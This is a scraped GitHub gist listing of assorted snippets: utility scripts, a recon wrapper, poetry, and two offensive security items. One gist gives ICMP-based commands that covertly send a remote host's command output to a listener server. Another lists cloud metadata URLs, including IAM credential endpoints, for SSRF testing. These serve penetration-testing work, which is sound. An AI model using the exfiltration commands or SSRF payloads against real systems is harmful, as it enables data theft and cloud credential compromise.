Skip to content

Instantly share code, notes, and snippets.

View omarkurt's full-sized avatar
:octocat:
Working from home

Omar Kurt omarkurt

:octocat:
Working from home
View GitHub Profile
@taviso
taviso / delete-twitter-dm.js
Created November 3, 2017 16:33
Automate deleting twitter direct messages.
// Open direct messages window, paste this into console.
function deleteNextConversation()
{
if (!(dm = document.getElementsByClassName("DMInbox-conversationItem")[0])) {
clearInterval(tmr)
return;
}
dm.firstChild.click();
setTimeout('document.getElementsByClassName("js-actionDeleteConversation")[0].click()', 1000);
@random-robbie
random-robbie / swap.sh
Created November 2, 2017 11:04
2GB Swap for a 512mb Ram VPS
#!/bin/bash
echo "[*] Swap Setup for VPS with 512mb... [*]"
swapon -s
dd if=/dev/zero of=/swapfile bs=1024 count=2048k
mkswap /swapfile
swapon /swapfile
echo 10 | sudo tee /proc/sys/vm/swappiness
echo vm.swappiness = 10 | sudo tee -a /etc/sysctl.conf
chown root:root /swapfile
chmod 0600 /swapfile
@random-robbie
random-robbie / aq.sh
Last active November 18, 2021 06:35
aq put it in /bin/ and chmod 777 it
#!/bin/bash
aquatone-discover -d $1 --threads 10
aquatone-scan -d $1 --ports huge --threads 10
DEBUG=nightmare xvfb-run -a aquatone-gather -d $1 --threads 10
aquatone-takeover -d $1 --threads 10
@jobertabma
jobertabma / icmp.md
Last active September 14, 2022 15:02
Commands to exfiltrate command output via ICMP packet size
  1. Capture ICMP packets on your server:
tcpdump -nni eth0 -e icmp[icmptype] == 8 -w output.cap
  1. Send ICMP packets to your server with each byte stored in the packet size, execute this on the remote machine:
ip=vm03;output=`hostname`;for ((i=0;i<${#output};i++));do; ping -c 1 -s `printf '%d\n' "'${output:$i:1}'"` $ip;done
@pgilad
pgilad / json-to-toml.py
Created May 16, 2016 12:56
Convert a json file to toml
#!/usr/bin/env python2
# don't forget to `pip install toml`
import json
import sys
import toml
if len(sys.argv) < 3: raise Exception('Usage is `json_to_toml.py input.json output.toml`')
json_file = sys.argv[1]
@eduncan911
eduncan911 / go-build-all
Last active April 11, 2024 07:14
Go Cross-Compile Script
#!/bin/bash
#
# GoLang cross-compile snippet for Go 1.6+ based loosely on Dave Chaney's cross-compile script:
# http://dave.cheney.net/2012/09/08/an-introduction-to-cross-compilation-with-go
#
# To use:
#
# $ cd ~/path-to/my-awesome-project
# $ go-build-all
#
@BuffaloWill
BuffaloWill / cloud_metadata.txt
Last active May 6, 2025 04:20
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@willurd
willurd / web-servers.md
Last active May 16, 2025 10:42
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@azer
azer / gist:5184224
Created March 18, 2013 00:15
Ömer Hayyam Dörtlükleri
Ey özünün sırlarına akıl ermeyen;
Suçumuza, duamıza önem vermeyen;
Günahtan sarhoştum, ama dilekten ayık;
Umudumu rahmetine bağlamışım ben.
Büyükse de isyanım, kötülüklerim,
Yüce Tanrı'dan umut kesmiş değilim;
Bugün sarhoş ve harap ölsem de yarın
Rahmete kavuşur elbet kemiklerim.
@s4l1h
s4l1h / count.sh
Created December 20, 2012 16:21
Sunucunun 80 portuna istek gönderen unique ip adres sayısını gösterir.
#/bin/sh
netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1|wc -l